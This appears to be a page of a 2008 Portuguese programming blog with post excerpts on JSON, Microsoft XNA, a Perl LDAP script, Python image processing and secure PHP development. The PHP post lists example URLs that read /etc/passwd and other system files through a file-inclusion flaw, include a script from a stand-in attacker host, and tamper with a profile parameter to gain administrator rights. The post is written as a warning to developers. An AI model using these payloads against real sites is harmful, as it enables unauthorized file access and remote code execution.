Programação
Avatar
JSON
Ter, 02 de Dezembro de 2008 21:13
Por: Renato Tarantelli

Não se espante, não vou falar sobre o Jason da sexta-feira treze e sim sobre algo muito útil para programadores, mas pouco explorado.

Afinal de contas o que é esse tal de JSON e o que ele realmente faz:

JSON (com a pronuncia djeisón), um acrônimo para "JavaScript Object Notation", é um formato leve para intercâmbio de dados computacionais. JSON é um subconjunto da notação de objeto de JavaScript, mas seu uso não requer Javascript exclusivamente.

A simplicidade de JSON tem resultado em seu uso difundido, especialmente como uma alternativa para XML em AJAX. Uma das vantagens reinvindicadas de JSON sobre XML como um formato para intercâmbio de dados neste contexto, é o fato de ser muito mais fácil escrever um analisador JSON. Em JavaScript mesmo, JSON pode ser analisado trivialmente usando a função eval(). Isto foi importante para a aceitação de JSON dentro da comunidade AJAX devido a presença deste recurso de JavaScript em todos os navegadores web atuais.

Na prática, os argumentos a respeito da facilidade de desenvolvimento e desempenho do analisador são raramente relevados devido aos interesses de segurança no uso de eval() e a crescente integração de processamento XML nos navegadores web modernos. Por esta razão JSON é tipicamente usado em ambientes onde o tamanho do fluxo de dados entre o cliente e o servidor é de supra importância (daí seu uso por Google, Yahoo, etc., os quais servem milhões de usuários), onde a fonte dos dados pode ser explicitamente confiável, e onde a perda dos recursos de processamento XSLT no lado cliente para manipulação de dados ou geração da interface, não é uma consideração.

Enquanto JSON é frequentemente posicionado "em confronto" com XML, não é incomum ver tanto JSON como XML sendo usados na mesma aplicação. Por exemplo, uma aplicação no lado cliente a qual integra dados do Google Maps com dados atmosféricos através de SOAP, requer suporte para ambos formatos de dados.

Existe um crescente suporte para JSON através do uso de pequenos pacotes de terceiros. A lista de linguagens suportadas incluem ActionScript, C/C++, C#, Delphi, ColdFusion, Java, JavaScript, Objective CAML, Perl, PHP, Python, Rebol, Ruby, e Lua.

Vamos a alguns exemplos:

Continue Lendo...
 
Avatar
Desenvolvimento de Jogos com Microsoft XNA
Dom, 23 de Novembro de 2008 13:53
Por: Renato Tarantelli

Sempre fui muito fã de games ainda mais para o PC com isso surgiu a curiosidade de entender como funciona nos bastidores o seu funcionamento.
Aqui irei passar um pouco sobre a plataforma de desenvolvimento de games da Microsoft que é utilizada tanto PC quanto para X360.

O que é XNA?

Microsoft XNA é uma Framework, que serve tanto para criar jogos para PCs com Windows, como para o console Xbox 360. Ele vem ser um substituto ao Managed DirectX. A sigla XNA significa XNA's Not Acronymed.

Descrição:

O XNA, por ser uma plataforma de desenvolvimento, é formada por alguns componentes descritos à seguir:

XNA Game Studio: IDE de desenvolvimento, baseado no Visual C# Studio. Assim, até o momento, só é possível desenvolver jogos usando a linguagem orientada à objetos C#. Existem duas versões:

XNA Game Studio Express: versão gratuita e baseada no Visual C# 2005 Express. Ele foi desenvolvido para ser usado por estudantes, desenvolvedores hobbistas e pequenos grupos de desenvolvimento (indie developers), com o intuito de permitir que os usuários desenvolvessem seus próprios videogames;

XNA Game Studio Professional:
sem preço definido e data para lançamento ainda;

XNA Framework: conjunto de classes necessárias para se execução de um jogo XNA. Funciona sobre o .NET Framework 2.0 (games para PCs) ou do .NET Compact Framework for Xbox 360 (games para Xbox 360);

XNA Content Pipeline: componente de gerência de conteúdo e artefatos do projeto, tais como imagens (JPG, PNG, BMP, etc), modelos 3D (X, FBX, etc), sonoros (WAV, etc) e dados (XML, etc). Ele transforma os arquivos automaticamente no momento do build em um formato que será entendido pela aplicação em tempo de execução. O Content Pipeline é extensível e permite que o desenvolvedor escreva um conversor para um formato especial ou desconhecido com flexibilidade;

XACT (Audio Authoring Tool): ferramenta para audio designers organizarem seus arquivos de aúdio e efeitos sonoros.
Somente são suportados os formatos WAV e AIF.
Continue Lendo...
 
Avatar
Desenvolvimento seguro em PHP - Cuidado com a URL
Sex, 21 de Novembro de 2008 18:29
Por: Erick Belluci Tedeschi

Irei abordar nesse post um recurso que é muito utilizado em sites e aplicativos web, que é a passagem de parâmetros via GET (na URL).

Sempre vejo em sites esse recurso sendo utilizado de forma incorreta, dando brecha para que usuários com "segundas" intenções ganhem acesso ao servidor.
- Mas como?
Vejamos dois exemplos de URL que podem gerar um problemão:

  1. http://sitecombrecha.com/index.php?pagina=home.php
  2. http://sitecombrecha.com/login.php?usuario=fulano&senha=abcd1234&perfil=cliente

Na primeira URL o desenvolvedor chama as páginas do site por meio de um include no nome do arquivo que é passado como parâmetro na URL.
Isso possibilita que o atacante consiga visualizar qualquer arquivo do servidor (Desde que o usuário do deamon do web server tenha acesso).
Exemplo para testar a falha:

  • http://sitecombrecha.com/index.php?pagina=/etc/fstab
  • http://sitecombrecha.com/index.php?pagina=/etc/passwd
  • http://sitecombrecha.com/index.php?pagina=/var/log/messages

Se no php.ini a opção allow_url_fopen estiver habilitada, é possível executar arquivos externos da seguinte maneira:

  • http://sitecombrecha.com/index.php?pagina=http://atacante.com/destroy.php
  • http://sitecombrecha.com/index.php?pagina=ftp://atacante.com/public/destroy.php

O php permite que funções como include, include_once, require, require_once e fopen façam referencias para URL's desde que a opção allow_url_fopen esteja habilitada no php.ini.
Para que o script destroy.php do atacante tenha efeito, o servidor web do atacante não deve interpretar o script php, pois senão o script será executado no servidor do atacante.

Na segunda URL estão sendo passados dados sensíveis para a aplicação, que é o login e senha do usuário. Nesse caso o login e senha do usuário podem ficar gravados no histórico do navegador ou no log do proxy.
Se você fizer um formulário de login em HTML e esquecer de colocar method="post" na tag form ou a escrever errado, por default (w3c) o navegador irá entender method="get", e os dados do login irão passar via GET!!!
Exemplo: Dá uma olhada no histórico do navegador de uma LanHouse, ou dá uma olhada no log do proxy dessa LanHouse. É impressionante a quantidade de sistemas e sites que funcionam dessa forma.
Tabém é possível tentar mudar o parâmetro perfil=cliente para perfil=administrador, quem sabe você não vira adm!.
São pequenas coisas que tornam um sistema vulnerável, e essa foi a minha dica para se pensar mais no que deve ser passado na URL.

Obs.: Esse post foi escrito com o único propósito de exemplificar para desenvolvedores como aplicações podem estar vulneráveis a falhas de segurança.

Fonte: Itatux

 
Avatar
Script Perl para consultas em base LDAP e/ou Active Directory
Qui, 13 de Novembro de 2008 20:25
Por: Kleber Povoacao

Apresentação

Olá pessoal,

O que me levou a escrever este artigo foi o fato de precisar integrar uma ferramenta de telefonia com um software que fizesse uma consulta a uma base do Active Directory. Para quem não sabe um Active Directory da Microsoft não é nada mais que uma base LDAP.

Para um perfeito entendimento deste artigo é recomendado que se tenha alguns fundamentos em LDAP e Perl. No final do texto há alguns links sobre o assunto.

Este é meu primeiro artigo e espero que seja útil para vocês.
Continue Lendo...
 
Avatar
Processamento de imagens como mágica
Seg, 10 de Novembro de 2008 22:19
Por: Rafael Casale Abe
Certos conceitos de processamento de imagens são relativamente simples, porém resultados em forma de imagem podem impressionar e até dar a falsa impressão de que é extremamente complicado. Utilizar uma linguagem como Python [1] e a biblioteca PIL [2] nessa tarefa, a deixará ainda mais simples.

Escala de Cinza

Uma imagem será manipulada de diversas formas mas com um único resultado: transformar uma imagem colorida (RGB) em escala de cinza. O RGB é um padrão de sistema de cores para imagem e video e é um acrônimo para Red Blue Green, ou em português Vermelho, Azul e Verde, ou seja, é a forma como as cores são combinadas para se obter outras cores [3].

Um pixel é a quantidade de dados que representa a menor unidade de cor de uma imagem [digital]. No caso do padrão RGB um pixel contém no mínimo três bytes, cada qual deve conter informação que determina a 'quantidade' de Vermelho (R), Verde (G) e Azul (B) respectivamente. Uma imagem está em escala de cinza quando todos os os bytes de cada pixel tem o mesmo valor. Por exemplo:
R G B
Color 200 178 30
Escala de cinza 136 136 136

Conceitualmente, para que a imagem colorida seja transformada em escala de cinza, é necessário percorrer tal imagem pixel-a-pixel e modificando-a de forma que os valores de RGB de cada um desses pixel seja o mesmo. Mas que valor seria esse? Magicamente, para que a imagem só perca informação de cor, a maneira mais simples de fazer isso é obtendo os valores RGB do pixel atual, calcular a média aritimética e reaplicar o novo valor para R, G e B do respectivo pixel, ou seja:
valor_pixel = (pixel[R], pixel[G], pixel[B])/3;
pixel[R] = valor_pixel;
pixel[G] = valor_pixel;
pixel[B] = valor_pixel;
 
Continue Lendo...
 


Página 3 de 6

Login

Crie uma conta ou use sua conta do Gmail para logar no site.

Google Friend Connect

Contato

Quer entrar em contato conosco? deixe seu recado ou então envie um email para contato[a]worldofbit.com





Alguns Direitos Reservados

Creative Commons License

Pesquisar

Participe

RSS Mantenha-se informado sobre as nossas novidades com nosso newsletter diário
 


Agregadores






Divulgue-nos!

worldofbit.com

Recomendo